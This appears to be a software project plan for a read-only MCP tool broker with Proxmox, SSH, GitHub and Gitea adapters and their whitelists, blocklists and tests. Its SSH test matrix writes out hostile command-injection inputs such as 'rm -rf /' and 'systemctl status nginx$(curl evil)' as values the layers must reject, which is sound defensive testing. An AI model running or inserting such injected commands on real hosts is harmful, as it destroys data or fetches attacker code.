stdio-interop.test.ts— connects to the broker via stdio transport (the real-transport path used by the LLM smoke), issues a realtools/listJSON-RPC request over stdin/stdout, asserts the response is a valid JSON-RPC 2.0 envelope with the 9 tools, then issues atools/callfor a mock adapter and asserts the result shape. This is the test that proves an external MCP client can connect — moves the lowest-confidence axis (0.80) to evidence-backed. Optionally: run the official MCP inspector against the broker as a CI step.
packages/mcp/PROTOCOL.mddocumenting: pinned spec version2025-06-18with links to the three spec pages (tools, transports, lifecycle); transports used (in-process custom, stdio for LLM smoke, REST facade + SSE for UI — NOT Streamable HTTP, compliant as custom transport); JSON-RPC 2.0 shapes preserved; OpenAI ↔ MCP translation contract; synthetic lifecycle handshake. [G-015] INV-7 framing (registry is primary, blocklist is backstop). [G-016] Two enforcement models + GraphQL/PVE-GET future risks.MCP_PROTOCOL_VERSION = "2025-06-18"constant exported frompackages/mcpand asserted in the conformance test header.
-
Stub adapters for testing (backend-engineer) [G-020]
- [G-020]
McpAdapterinterface shipped inpackages/mcp/types.ts: both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement this interface. The interface specifies:tools/list() → Promise<Tool[]>,tools/call(name: string, args: Record<string, unknown>) → Promise<McpResult>, and a registration mechanism. F's stubs implement it; G/H/I's real adapters implement it. The router (T3) accommodates both in-process module adapters and WebSocket-backed adapters (the SSH adapter wraps a WebSocket round-trip insidetools/call). This makes F→G/H/I a contract handoff, not a code-reading exercise — enables real parallelism. - Minimal mock adapters (one per type: proxmox, ssh, github, gitea) that the broker can route to, for testing the broker in isolation (waves G/H/I plug in real adapters). Each stub: registers via synthetic
initialize, responds totools/listwith its tool subset, responds totools/callwith a canned{content:[{type:"text",text:"stub"}], isError:false}orisError:truefor error tests. All stubs implementMcpAdapter.
- [G-020]
Must-haves (verify before ship)
- Closed tool registry: 9 tools with
name,description,inputSchema(JSON Schema per MCP 2025-06-18). - Write-method blocklist: 100% of write attempts rejected at broker with 403 + audit event, adapter never invoked (test per adapter type with stubs).
- Rate limiter: 60/min user + 300/min tenant enforced, HTTP 429 +
Retry-After, refund-on-tenant-fail, no audit on 429. - SSE stream: per-call, ULID correlation IDs, terminal events
done/error, 30s stream-not-opened timeout (R-006), <100ms chunk delivery. - Client disconnect (Edge 8): in-flight adapter call cancelled, no audit event for client-side cancellation.
- Multi-target: ≥2 same-type adapters without
target_id→ HTTP 400 "target required" with available targets list. - MCP conformance artifact:
PROTOCOL.md+ 6 tests passing (gate item 15). - Synthetic
initialize/initializedhandshake for in-process adapters (R-001). - OpenAI↔MCP translator:
tool_calls→tools/call(withJSON.parse(arguments));result.content + isError→ tool message. mcp_adapterstable with RLS (tenant-scoped, verified against real Postgres 16 in CI per Wave 0).- Audit events:
adapter.configured,adapter.test_connection.{succeeded,failed},adapter.capability_invoked,adapter.write_rejected— all hash-chained via M1appendAudit. - Coverage ≥ 80% on
packages/mcp. - M1 non-regression: all M1 tests still pass.
- Security-engineer sign-off on write-method blocklist + INV-7 at broker (blocks ship on P0/P1 finding).
Wave G — Proxmox adapter (Phase 2)
Goal: Read-only Proxmox VE adapter with PVEAuditor role validation. 3 capabilities: proxmox.list_vms (inventory), proxmox.get_vm_status (live), proxmox.get_node_metrics (live).
Depends on: Wave F (broker).
REQs covered: REQ-020, REQ-025.
Personas: backend-engineer (adapter), security-engineer (sign-off on PVEAuditor validation + write-blocklist).
Patch tag: v0.1.2. Branch: phase/02-proxmox-adapter.
Tasks
-
packages/mcp/adapters/proxmox/client.ts(backend-engineer)- PVE API client (HTTPS, port 8006, cookie/token auth). Uses API Token auth (NOT ticket/cookie — stateless, no 2h expiry, no CSRF needed for tokens per R-002):
Authorization: PVEAPIToken=USER@REALM!TOKENID=UUIDheader on every GET. pveGet(host, token, path, allowSelfSigned): globalfetchwithAbortSignal.timeout(10_000)(10s upstream NFR, mirrorspackages/byom/src/validator.tspattern).allowSelfSignedper-adapter config flag →https.Agent({rejectUnauthorized: false})for customer PVE labs (R-002 pitfall).- Unwrap
{data: <payload>}response shape. Check both!res.okANDbody.data === null(PVE returns null data for some not-found cases). 5xx → HTTP 502/504 to caller (transient upstream error, NOT write rejection). - Endpoints (R-002, verified):
GET /api2/json/nodes,GET /api2/json/nodes/{node}/qemu,GET /api2/json/nodes/{node}/qemu/{vmid}/status/current,GET /api2/json/nodes/{node}/status. Pitfall:/api2/json/qemuis NOT a valid endpoint (qemu is under a node). No version branching needed (endpoints stable PVE 6.x–8.x, R-002).
- PVE API client (HTTPS, port 8006, cookie/token auth). Uses API Token auth (NOT ticket/cookie — stateless, no 2h expiry, no CSRF needed for tokens per R-002):
-
packages/mcp/adapters/proxmox/adapter.ts(backend-engineer)- Implements the 3 capabilities (GET endpoints only — never POST/PUT/DELETE):
proxmox.list_vms(inventory):GET /api2/json/nodes/{node}/qemu(requiresnodearg; returns VMs on that node).inputSchema: {node: string (required)}.proxmox.get_vm_status(live):GET /api2/json/nodes/{node}/qemu/{vmid}/status/current.inputSchema: {node: string, vmid: integer}.proxmox.get_node_metrics(live):GET /api2/json/nodes/{node}/status.inputSchema: {node: string}.
- Registers via synthetic
initializehandshake (Wave F transport). Responds totools/listwith the 3 proxmox tools; responds totools/callwith{content:[{type:"text", text: JSON.stringify(normalizedResult)}], isError:false}.
- Implements the 3 capabilities (GET endpoints only — never POST/PUT/DELETE):
-
packages/mcp/adapters/proxmox/validate.ts(backend-engineer + security-engineer)- PVEAuditor role validation at submit time (REQ-025, R-002): call
GET /api2/json/version(any valid token) → token is valid; thenGET /api2/json/nodes→ token has at leastSys.Audit(read access). If both succeed →validated=true. If either fails → HTTP 422 with role-violation error, no config persisted. - R-002 documented gap: PVE has no clean "what role does this token have" introspection endpoint. The broker validates "token works for reads," NOT "token lacks writes." True
PVEAuditorenforcement is the operator's responsibility at token creation time. Document in the Settings → Adapters UI help text: "Create a token with PVEAuditor role. The broker validates read access; the write-method blocklist (POST/PUT/DELETE → 403) is the load-bearing safety boundary." Confidence 0.70 on this sub-point. - Record the PVE version (from
GET /api2/json/versionduringtest_connection) in themcp_adapters.configJSON column for diagnostics. No version branching (R-002).
- PVEAuditor role validation at submit time (REQ-025, R-002): call
-
SecretProvider integration for Proxmox token (INV-3) (backend-engineer)
SecretProvider.put(tenantId, "proxmox:<targetId>", token)on config;SecretProvider.geton invocation. DB stores onlysecret_ref. Token never logged;SecretValue.unwrap()passed directly to the fetchAuthorizationheader.
-
Audit events for Proxmox adapter (backend-engineer)
adapter.configured(on save),adapter.test_connection.{succeeded,failed}(on "Test connection"),adapter.capability_invoked(on each capability call, withcorrelation_id, params hash, result status),adapter.write_rejected(if POST/PUT/DELETE somehow reached the broker — belt-and-suspenders). All via M1appendAudit.
-
Tests (backend-engineer + security-engineer)
- Mock PVE API (no live Proxmox in CI — use a mock fetch responder). Validate the 3 capabilities call only GET endpoints. Validate write-method blocklist: POST/PUT/DELETE → 403 +
adapter.write_rejectedat broker (adapter never invoked). Validate PVEAuditor validation: token failingGET /version→ 422; token failingGET /nodes(noSys.Audit) → 422. Validate 5xx from PVE → HTTP 502/504 (not write rejection). ValidateallowSelfSignedflag.
- Mock PVE API (no live Proxmox in CI — use a mock fetch responder). Validate the 3 capabilities call only GET endpoints. Validate write-method blocklist: POST/PUT/DELETE → 403 +
-
Inventory TTL cache (60s, LRU) for
proxmox.list_vms(backend-engineer)- In-memory cache keyed by
(tenantId, targetId, toolName, argsHash).list_*capabilities cached for 60s; live capabilities (get_vm_status,get_node_metrics) never cached. Cache hit → return cached result with staleness metadata (cachedAt: timestamp) so the SSE event / UI can show "cached Xs ago."
- In-memory cache keyed by
Must-haves
- 3 capabilities call only GET endpoints (never POST/PUT/DELETE).
- PVEAuditor validation: token validated at submit (
GET /version+GET /nodes); UI documents the introspection gap (R-002). - Token stored via
SecretProvider.put; DB holds onlysecret_ref. - Write-method blocklist: POST/PUT/DELETE → 403 +
adapter.write_rejectedaudit event at broker (adapter never invoked). - Inventory cache:
list_vmsserved from 60s TTL cache on repeat calls; staleness surfaced. - Coverage ≥ 80% on
packages/mcp/adapters/proxmox. - PVE 7.x and 8.x supported (no version branching needed per R-002).
- Security-engineer sign-off on PVEAuditor validation + write-blocklist.
Wave H — SSH/Linux adapter (Phase 3)
Goal: Read-only SSH/Linux adapter via M1 Relay Agent. ssh.run_whitelisted_command capability. Defense-in-depth: broker validates command (layer 1) + Relay Agent CheckCommand (layer 2). Full REQ-026 (M1 shipped the hook; M2 plugs the adapter in).
Depends on: Wave F (broker), M1 Relay Agent.
REQs covered: REQ-021, REQ-026 (full).
Personas: go-engineer (Wave H only — Relay Agent integration), backend-engineer (TS SSH adapter module), security-engineer (sign-off on defense-in-depth).
Patch tag: v0.1.3. Branch: phase/03-ssh-adapter.
Tasks
-
packages/mcp/adapters/ssh/whitelist-check.ts(backend-engineer + security-engineer)- Broker-side whitelist validation (layer 1): validates
commandagainst the 6-command subset BEFORE dispatch to the Relay Agent (REQ-021, defense-in-depth layer 1). - 6 commands (spec §7 Q3, conservative subset of M1's broader whitelist):
uptime— exact match (no args).df -h— exact match.free -m— exact match.systemctl status <svc>— prefixsystemctl status+ service name (regex^[a-zA-Z0-9_.-]+$, max 64 chars — pitfall: sanitize to prevent injection likesystemctl status nginx; rm -rf /).journalctl -n <N>—journalctl -n+ integer 1-500 (regex^journalctl -n ([1-9][0-9]{0,2}|500)$).systemctl list-units --type=service— exact match.
validateSshCommand(command: string): {ok: boolean, reason?: string}. Independent TS implementation from the GoCheckCommand(R-003: two independent codepaths so a bug in one doesn't bypass the other). Layer 1 (6 commands) is stricter than layer 2 (M1's broader whitelist) — correct defense-in-depth.- On rejection: HTTP 403 +
adapter.write_rejectedaudit event; Relay Agent never reached.
- Broker-side whitelist validation (layer 1): validates
-
packages/mcp/adapters/ssh/adapter.ts(backend-engineer)- TS SSH adapter module; MCP
tools/callin-process (Wave F transport), then sends atool_callWebSocket message to the M1 Relay Agent (downstream WebSocket — D-007: the MCP JSON-RPC layer is in-process; the WebSocket to the Relay Agent is downstream transport, does not affect MCP conformance). ssh.run_whitelisted_command(live):inputSchema: {command: string}. Broker validates (layer 1) → resolve adapter → sendtool_callover WebSocket to the connected Relay Agent fortarget_id→ receivetool_result→ return MCP result.- Target routing (R-003): reverse index
targetsByTenant: Map<tenantId, Map<targetId, WebSocket>>built on the M1connectedAgentsregistry inws-server.ts. If target offline → HTTP 404 (do NOT queue the call). Verify target belongs to the same tenant (RLS —withTenant+ targets tabletenant_id).
- TS SSH adapter module; MCP
-
apps/relay-agent/wsclient/handler.go(go-engineer) [G-021]- [G-021] Reader goroutine restructure: the M1 reader goroutine (
apps/relay-agent/wsclient/client.go:182-203) currently unmarshals every message aspongMessageandcontinues on parse failure —tool_callmessages are silently dropped today. M2 must restructure the reader goroutine to dispatch ontypefield BEFORE unmarshaling into a specific struct: readtypefrom the raw JSON, routepongto the existing handler, routetool_callto the new handler. The heartbeatpongArrivedsignaling must not break. - Add
tool_callmessage handler. Handler receives{type:"tool_call", callId, command, timeoutMs}, callsCheckCommand(command)(M1 G-004 contract, layer 2 — signatureCheckCommand(cmd string) errorUNCHANGED), executes viaexec.Commandwith split argv (NO shell —exec.Command("systemctl", "status", "nginx"), neversh -c "..."— third enforcement layer against shell injection). - Returns
{type:"tool_result", callId, stdout, stderr, exitCode}(success) or{type:"tool_result", callId, error:"whitelist rejected: ...", exitCode:-1}(CheckCommand rejection) or{type:"tool_result", callId, error:"timeout after 10s", exitCode:-1}(timeout). - 9.5s
exec.Commandtimeout (R-003: agent times out 0.5s before the broker's 10s timeout so the agent returns a timeout result before the broker gives up → SSE stream closes cleanly).
- [G-021] Reader goroutine restructure: the M1 reader goroutine (
-
apps/relay-agent/main.go(go-engineer)- Wire the
tool_callhandler into the WebSocket message router. M1 non-regression: theregister/ping/pongpaths must continue to work; the heartbeat loop must not break.
- Wire the
-
Cross-layer SSH test — divergence matrix (R-003) (security-engineer) [G-013]
- [G-013] Divergence matrix (not just both-reject — also both-accept and divergence cases):
(a) Both reject
rm -rf /(existing —rmnot in 6-command subset at broker;rmnot in M1 whitelist at Go). (b) Both acceptsystemctl status nginx(new — proves both layers agree on a valid command). (c) Broker rejectssystemctl status nginx rm -rf /(regex fails on spaces in service name) — assert Go also rejects (currently Go accepts becausermis not in the deny list and the prefixsystemctl statusmatches). Fix: tighten the Go deny list to include barermOR validatesystemctl statustrailing tokens against^[a-zA-Z0-9_.-]+$(matching the broker's regex). Choose option (ii) — validate trailing tokens — to make the two layers semantically equivalent for the 6-command subset. (d) Go acceptssystemctl status nginx$(curl evil)(deny list misses$()) — assert broker rejects (regex fails). Document thatexec.Commandwith split argv runsnginx$(curl evil)as a literal service name (no shell expansion), so the Go layer is saved by the no-shell third layer, but the divergence is real and must be documented. - All 4 cases pass on both layers; Go deny list / trailing-token validation tightened per (c).
- [G-013] Divergence matrix (not just both-reject — also both-accept and divergence cases):
(a) Both reject
-
M1-relay-WS regression test (G-021) (go-engineer + security-engineer)
- [G-021] Test asserting
register→registeredandping→pongstill work after thetool_callcase is added tows-server.tshandleMessageswitch and the Go reader goroutine is restructured. This is an M1-non-regression test for the shared M1 files Wave H edits.
- [G-021] Test asserting
-
10s upstream timeout (backend-engineer + go-engineer)
- Broker:
AbortController10s on thetool_call→tool_resultround-trip. On timeout → SSEerrorterminal event with "upstream timeout" + HTTP 504 semantics. - Agent:
exec.Command9.5s context timeout (R-003 — agent times out first).
- Broker:
-
SecretProvider integration for SSH registration token (INV-3) (backend-engineer)
SecretProvider.put(tenantId, "ssh:<targetId>", relayRegistrationToken)on config. The SSH adapter uses the M1 Relay Agent's existing auth (the registration token resolves to a connected target; the broker routestool_callto that target's WebSocket).
-
Audit events for SSH adapter (backend-engineer)
adapter.configured(on save),adapter.test_connection.{succeeded,failed}(on "Test connection" — e.g., ping the target viauptime),adapter.capability_invoked(on eachssh.run_whitelisted_commandcall, withcorrelation_id, command hash, result status),adapter.write_rejected(on broker layer-1 rejection).
Must-haves
- Broker validates
commandagainst 6-command subset BEFORE dispatch (layer 1). - Relay Agent
CheckCommandvalidates at execution (layer 2, M1 G-004 contract unchanged). - [G-013] Cross-layer divergence matrix (R-003): all 4 cases pass — both-reject
rm -rf /, both-acceptsystemctl status nginx, broker-rejects-Go-also-rejectssystemctl status nginx rm -rf /(after Go tightening), Go-accepts-broker-rejectssystemctl status nginx$(curl evil)(documented divergence). - [G-021] M1-relay-WS regression test:
register→registered+ping→pongstill work aftertool_calladdition + reader goroutine restructure. tool_callWebSocket message type added to Relay Agent (clean extension of M1 protocol;register/ping/pongstill work).CheckCommand(cmd string) errorsignature UNCHANGED (G-004 contract lock).- No shell in Go executor (
exec.Commandwith split argv). - 10s broker timeout + 9.5s agent exec timeout.
ssh.run_whitelisted_commandreturns whitelisted command output via SSE.- Coverage ≥ 80% on
packages/mcp/adapters/ssh+ relay-agent additions. - Security-engineer sign-off on defense-in-depth (blocks ship on P0/P1 finding).
- go-engineer persona removed after Wave H ships;
apps/relay-agent/**territory reverts to backend-engineer for M2 follow-up.
Wave I — Git adapters (Phase 4)
Goal: Read-only GitHub + Gitea adapters. 5 capabilities: github.list_repos, github.get_recent_ci_runs, github.get_workflow_run, gitea.list_repos, gitea.get_recent_ci_runs.
Depends: Wave F (broker).
REQs covered: REQ-022, REQ-023, REQ-027.
Personas: backend-engineer (adapters), security-engineer (sign-off on scope validation).
Patch tag: v0.1.4. Branch: phase/04-git-adapters.
Tasks
-
packages/mcp/adapters/github/client.ts(backend-engineer)- GitHub REST API client (fine-grained PAT,
Authorization: Bearer <token>,Accept: application/vnd.github+json,X-GitHub-Api-Version: 2022-11-28— stable GA version per R-004). GlobalfetchwithAbortSignal.timeout(10_000). ghGet(path, token, query?): rate limit handling — observex-ratelimit-remaining; if 0, do NOT make the call, return HTTP 429 to caller withRetry-After: <seconds until x-ratelimit-reset>. If GitHub returns 429 (or 403 withx-ratelimit-remaining: 0), back off exponentially (1s, 2s, 4s, max 3 retries) then surface 429.- 403 with
X-Accepted-GitHub-Permissionsheader (e.g.,actions=readrequired) →GithubScopeError→ broker surfaces HTTP 403 "insufficient scope" +adapter.capability_invokedwithresult=failure(NOTwrite_rejected— no write attempted; this is a scope mismatch, R-004).
- GitHub REST API client (fine-grained PAT,
-
packages/mcp/adapters/github/adapter.ts(backend-engineer)- 3 capabilities (GET endpoints only):
github.list_repos(inventory):GET /user/repos?per_page=100. Normalize to{id, name, full_name, owner, private, description, html_url, default_branch, updated_at}.inputSchema: {}(first page; multi-page is M3, R-004).github.get_recent_ci_runs(live):GET /repos/{owner}/{repo}/actions/runs?per_page={per_page}. Normalize to{total_count, runs:[{id, head_branch, status, conclusion, html_url, created_at, actor}]}.inputSchema: {owner: string, repo: string, per_page?: integer (default 30, max 100), status?: string, branch?: string}.github.get_workflow_run(live):GET /repos/{owner}/{repo}/actions/runs/{run_id}.inputSchema: {owner, repo, run_id: integer}.
- 3 capabilities (GET endpoints only):
-
packages/mcp/adapters/github/validate.ts(backend-engineer + security-engineer)- Fine-grained PAT validation (D-006, R-004):
- Detect classic vs fine-grained: classic PATs start with
ghp_/gho_/ghu_; fine-grained start withgithub_pat_. Reject classic PATs at submit → HTTP 422 "fine-grained PAT required" (D-006: classicreposcope grants write). - Validate token works +
metadata:read:GET /userwith token. 401 → invalid token (HTTP 422). 200 → token valid; all fine-grained PATs requiremetadata:readimplicitly, so a successfulGET /userimpliesmetadata:read. actions:readvalidated per-invocation: whengithub.get_recent_ci_runs/get_workflow_runis called, if GitHub returns 403 withX-Accepted-GitHub-Permissionsindicatingactions=readrequired → HTTP 403 "insufficient scope" + auditadapter.capability_invokedwithresult=failure. Submit-time best effort (R-004 gap documented in UI help text: "ensure the PAT hasactions:read").
- Detect classic vs fine-grained: classic PATs start with
- Fine-grained PAT validation (D-006, R-004):
-
packages/mcp/adapters/gitea/client.ts(backend-engineer)- Gitea REST API client (
Authorization: token <token>— pitfall: Gitea usestokennotBearer, R-005). Base URL = customer's Gitea host (https://gitea.example.com/api/v1/).allowSelfSignedper-adapter flag (customer Gitea often self-signed).
- Gitea REST API client (
-
packages/mcp/adapters/gitea/adapter.ts(backend-engineer)- 2 capabilities (GET endpoints only — no
gitea.get_workflow_runin M2, deferred to v1.2+ per Q2):gitea.list_repos(inventory):GET /api/v1/user/repos?limit=50. Normalize to{id, name, full_name, owner, private, description, html_url, default_branch, updated_at}.inputSchema: {}.gitea.get_recent_ci_runs(live):GET /api/v1/repos/{owner}/{repo}/actions/runs?limit={limit}.inputSchema: {owner, repo, limit?: integer (default 30, max 50)}. Pitfall: Gitea Actions may be disabled (actions.ENABLED=truein app.ini) → 404; surface as "Gitea Actions not enabled on this instance" (HTTP 502, not write rejection).
- 2 capabilities (GET endpoints only — no
-
packages/mcp/adapters/gitea/validate.ts(backend-engineer + security-engineer)- Version-aware validation (R-005, spec §7 Q6):
GET /api/v1/version→ parseversion, compare major.minor to1.22(semver-ish; compare as integers). Record version inmcp_adapters.config.- Gitea ≥1.22:
GET /api/v1/user/repos?limit=1→ 200 =read:repositoryok; 403 = insufficient scope → HTTP 422 "insufficient scope —read:repositoryrequired". - Gitea <1.22:
GET /api/v1/repos/search?limit=1→ 200 = token valid (any token accepted; no read-only scope available). Broker-side write-method blocklist (POST/PUT/DELETE/PATCH) is the security backstop.
- Version-aware validation (R-005, spec §7 Q6):
-
packages/mcp/adapters/gitea/version-check.ts(backend-engineer)- Gitea version detection + scope routing (R-005). Verify against a running Gitea 1.22+ AND a <1.22 instance during Wave I (R-005 action: confirm
GET /api/v1/version,GET /api/v1/user/repos,GET /api/v1/repos/{owner}/{repo}/actions/runsagainst real instances; confirmread:repositoryscope behavior andAuthorization: token <token>header).
- Gitea version detection + scope routing (R-005). Verify against a running Gitea 1.22+ AND a <1.22 instance during Wave I (R-005 action: confirm
-
SecretProvider integration for Git tokens (INV-3) (backend-engineer)
SecretProvider.put(tenantId, "github:<targetId>", pat)/SecretProvider.put(tenantId, "gitea:<targetId>", token). DB stores onlysecret_ref. Tokens never logged.
-
Rate limit handling for GitHub (backend-engineer)
- Observe
X-RateLimit-Remaining; back off on 429 (R-004). M2 broker's own token-bucket (60/min user) is well below GitHub's 5000/hour, so the GitHub limit is unlikely to bind unless many tenants share a token (they shouldn't — per-tenant tokens).
- Observe
-
Inventory TTL cache (60s, LRU) for
github.list_reposandgitea.list_repos(backend-engineer)- Same pattern as Proxmox (Wave G).
list_*cached 60s; live capabilities (get_recent_ci_runs,get_workflow_run) never cached. Staleness surfaced.
- Same pattern as Proxmox (Wave G).
-
Audit events for Git adapters (backend-engineer)
adapter.configured,adapter.test_connection.{succeeded,failed},adapter.capability_invoked,adapter.write_rejected(for Gitea POST/PUT/DELETE/PATCH blocklist violations). All via M1appendAudit.
-
Tests (backend-engineer)
- GitHub: validated via real-target smoke in CI (real GitHub PAT, Wave 0 prerequisite). Validate 3 capabilities call only REST GET endpoints. Validate classic PAT rejection (
ghp_prefix → 422). Validate fine-grained PAT (github_pat_) →GET /user→ 200 = valid. Validate rate limit handling (mock 429 +x-ratelimit-remaining: 0). - Gitea: validated via mock + verify against running instance (R-005). Validate 2 capabilities call only GET endpoints. Validate version-aware scope routing (≥1.22
read:repository; <1.22 any token + write blocklist). ValidateAuthorization: token <token>header. Validate Gitea Actions disabled → 404 → "not enabled".
- GitHub: validated via real-target smoke in CI (real GitHub PAT, Wave 0 prerequisite). Validate 3 capabilities call only REST GET endpoints. Validate classic PAT rejection (
Must-haves
- GitHub: fine-grained PAT only (classic PAT rejected by
github_pat_prefix);metadata:read+actions:readminimum (D-006). - GitHub: 3 capabilities call only REST GET endpoints; rate limit handling (
X-RateLimit-Remaining, backoff on 429); per-invocation 403 +X-Accepted-GitHub-Permissionshandling (R-004). - Gitea: version-aware scope validation (≥1.22
read:repository; <1.22 any token with broker write-method blocklist). - Gitea: verify against running instance during Wave I (R-005).
- Write-method blocklist: GitHub scopes outside read-only → 403; Gitea POST/PUT/DELETE/PATCH → 403 +
adapter.write_rejectedat broker. - Tokens stored via
SecretProvider.put; DB holds onlysecret_ref. - Inventory cache:
list_reposserved from 60s TTL cache on repeat calls; staleness surfaced. - Coverage ≥ 80% on
packages/mcp/adapters/github+gitea. - Security-engineer sign-off on scope validation.
Wave J — SSE integration + LLM smoke + adapter UI (Phase 5)
Goal: SSE integration end-to-end, packages/llm-mock CI-only LLM smoke provider, Settings → Adapters UI + Test-Call UI. The LLM smoke (M2 gate item 8, P0 — not deferrable) must pass before M2 ships.
Depends on: Wave F (broker) + at least Wave I (GitHub adapter for real-target smoke).
REQs covered: REQ-017 integration (SSE to UI), M2 gate item 8 (LLM smoke).
Personas: frontend-engineer (UI), backend-engineer (llm-mock + SSE integration).
Patch tag: v0.1.5. Branch: phase/05-sse-integration.
Tasks
-
packages/llm-mock/— CI-only mock LLM provider (backend-engineer) [G-019]devDependency(not a production dependency) — R-008. Implements OpenAI-compatible/v1/chat/completionsaccepting thetoolsparameter (OpenAI tool definitions from the broker'sGET /api/mcp/tools).- [G-019] Hardened pattern matching (regex set, not 2-word conjunction — tolerates prompt wording drift):
/(list|show|get|display).*\b(repo|repositor)/i→tool_calls:[{id:"call_1", type:"function", function:{name:"github.list_repos", arguments:"{}"}}]./(recent|latest|last).*\b(run|ci|workflow)/i→tool_calls:[{function:{name:"github.get_recent_ci_runs", arguments:'{"owner":"...","repo":"..."}'}}].- Tests assert the pattern matches "Show me my GitHub repositories", "List my repos", "Get repositories", "What are my recent CI runs" — wording-tolerant.
- Accepts follow-up
toolrole messages (broker's translated adapter result). On second call (with a tool message present): synthesize grounded text — parse repo names from the tool message content, return"Your repos are: <names>". - Deterministic — no randomness; the smoke test asserts specific repo names appear (R-008).
- Reuse BYOM request/response types from
packages/byom/src/types.ts(D-001 contract).
-
apps/control-plane/app/(dashboard)/settings/adapters/page.tsx— Settings → Adapters UI (frontend-engineer) [G-014]- Adapter type picker (4 types), per-adapter config forms, SecretProvider-backed credential entry (redacted after submit, edit-only), role/scope validation on submit (REQ-025/026/027), "Test connection" button (REQ-016), audit event confirmation, multi-target support (target_id per row), PVEAuditor introspection gap help text (R-002), GitHub fine-grained PAT help text (D-006), Gitea version-aware help text (R-005).
- [G-014] Closed-tool-set gap documentation in UI help text (sets operator expectations pre-ship so the "additions require spec amendment" gate is politically enforceable):
- SSH: "M2 supports 6 diagnostic commands (
uptime,df -h,free -m,systemctl status,journalctl -n,systemctl list-units).ps,ss,top,ipare deferred to v1.2+." - Proxmox: "
list_vmsrequires anodeargument. Alist_nodestool is deferred to v1.2+." - GitHub: "
list_reposreturns up to 100 repos (first page). Pagination, PR lists, and issue lists are deferred to v1.2+." - Gitea: "
get_workflow_runis deferred to v1.2+."
- SSH: "M2 supports 6 diagnostic commands (
- Server components read via the API gateway (never bypass RLS — D-005 pattern).
-
apps/control-plane/app/(dashboard)/test-call/page.tsx— Test-Call UI (frontend-engineer)- Capability picker (closed 9-tool set from
GET /api/mcp/tools, grouped by adapter type, per-tenant disabled tools greyed out). Argument forms (rendered from JSON SchemainputSchema, required fields marked, type-validated). Target picker for multi-target tenants (REQ-024). SSE stream consumer (EventSourceonGET /api/mcp/stream/:correlationId, renders events as they arrive, terminaldone/errorclose the stream). Staleness indicator for inventory calls ("cached Xs ago"). Result rendering (JSON tree,isErrorflag surfaced).
- Capability picker (closed 9-tool set from
-
SSE consumer in Test-Call UI (frontend-engineer)
EventSourceopens on thestreamUrlfromPOST /api/mcp/invoke. Renderstool_resultevents incrementally; terminaldone/errorclose the stream. <100ms chunk delivery (NFR). On client disconnect (page close), the broker detectsreq.signalabort and cancels the in-flight adapter call (Edge 8).
-
LLM smoke test — TWO-TRACK (M2 gate item 8) (backend-engineer) [G-018, G-019]
- [G-018] Two-track smoke (mock-path is the P0 gate; real-path is optional/allow-failure — ensures the gate is reliable regardless of GitHub availability):
- Track A — Mock-path smoke (P0 gate, runs ALWAYS, no external dependency):
- CI starts the control plane with
packages/llm-mockas the BYOM endpoint + agithub-mockadapter (deterministic canned-repo adapter, distinct from the broker stub — returns[{"name":"coreci-test-repo-1"},{"name":"coreci-test-repo-2"}]). - Test sends
POST /v1/chat/completionswithtools=[github.list_repos definition]and prompt "List my GitHub repositories." - llm-mock returns
tool_calls:[{function:{name:"github.list_repos", arguments:"{}"}}]. - Broker's translator converts to MCP
tools/call→ broker routes togithub-mockadapter → canned repo data. - Broker's translator converts the MCP result to an OpenAI tool message.
- Test sends a second
POST /v1/chat/completionswithmessages=[original prompt, assistant tool_call, tool message]. - llm-mock synthesizes a grounded response ("Your repos are: coreci-test-repo-1, coreci-test-repo-2"). Test asserts the response contains the canned repo names.
- This track proves the OpenAI→MCP→adapter→result→synthesis integration with zero external dependencies. It is the P0 gate.
- CI starts the control plane with
- Track B — Real-path smoke (optional, runs when
secrets.GITHUB_SMOKE_PATis available,allow-failure— does NOT block the gate):- Same flow as Track A but against the real GitHub adapter (real PAT, test-org-scoped).
- Test asserts the response contains real repo names from the CI test org.
- [G-019] Retry policy: on 429/5xx/timeout, retry up to 3 times with exponential backoff (1s, 2s, 4s); on final failure, skip with a warning (the mock-path smoke is the gate, not this track).
- This track proves real-target connectivity. It is the ideal, not the gate.
- P0 — not deferrable: Track A (mock-path) must pass reliably in CI (no GitHub dependency). Track B (real-path) is optional/allow-failure. This ensures the M2 gate is reliable regardless of GitHub availability.
-
Import guard (R-008) (backend-engineer)
packages/llm-mockis adevDependencyof the CI test package (orapps/control-planedevDeps), NOT adependency.pnpm install --prodexcludes it.- Eslint rule
no-restricted-importsbanning@coreci/llm-mockinapps/control-plane/app/**andpackages/mcp/**(prod code paths). Allowed only intests/**andpackages/llm-mock/**. - Build-time check: CI step greps the prod build output (
.next/ordist/) forllm-mockand fails if found. - Pitfall: the mock must not be imported transitively by a prod dependency. The broker talks to it over HTTP (as a BYOM endpoint), not via import.
Must-haves
packages/llm-mockis adevDependency; import-guarded against prod bundle (eslint + build-time grep).- [G-018] Two-track LLM smoke: Track A (mock-path,
github-mockadapter, canned repos) passes reliably in CI — this is the P0 gate. - [G-018] Track B (real-path, real GitHub) runs when PAT available,
allow-failure— does NOT block the gate. - [G-019] llm-mock pattern matching hardened (regex set, tolerates wording drift); retry policy for real-GitHub track.
- [G-014] Settings → Adapters UI: closed-tool-set gap documentation in help text (SSH/Proxmox/GitHub/Gitea limitations).
- Settings → Adapters UI: adapter type picker (4 types), config forms, validation on submit (REQ-025/026/027), "Test connection" button, multi-target support, help text for introspection gaps (R-002, D-006, R-005).
- Test-Call UI: capability picker (9 tools), argument forms (JSON Schema validated), target picker for multi-target (REQ-024), SSE stream consumer, staleness indicator for inventory calls.
- SSE stream renders in Test-Call UI within 100ms of events.
- Coverage ≥ 80% on
packages/llm-mock+ UI components.
Final Phase — Review + Audit + Ship (Phase 6)
Goal: Multi-persona code review + project health audit + milestone ship (v0.1.6 release, merge to main).
REQs covered: all M2 (sign-off).
Personas: lead-developer (review + audit + ship), all personas (review).
Patch tag: v0.1.6 ← M2 milestone release. Branch: phase/06-final-review-ship.
Tasks
-
Code review (lead-developer + all personas)
- Review all changes in
milestone/v0.2(or the M2 integration branch) sincemain. Auto-apply P0 fixes; flag P1+ for post-hoc. Security-engineer reviews INV-7 at broker, write-method blocklist per adapter, SSH defense-in-depth, fine-grained PAT scope validation, Gitea version-aware scope validation. go-engineer reviews Relay Agenttool_calladditions +CheckCommandcontract lock (Wave H only, then removed).
- Review all changes in
-
Audit (lead-developer)
- Reconstruction test:
git logmatches.ciagent/files (every decision, research finding, persona assignment traceable to a commit). File/branch/commit discipline verified (all commits onphase/NN-*branches with---ci---blocks; no direct commits tomain). - M2 gate items 1-15 all pass (spec §6).
- Reconstruction test:
-
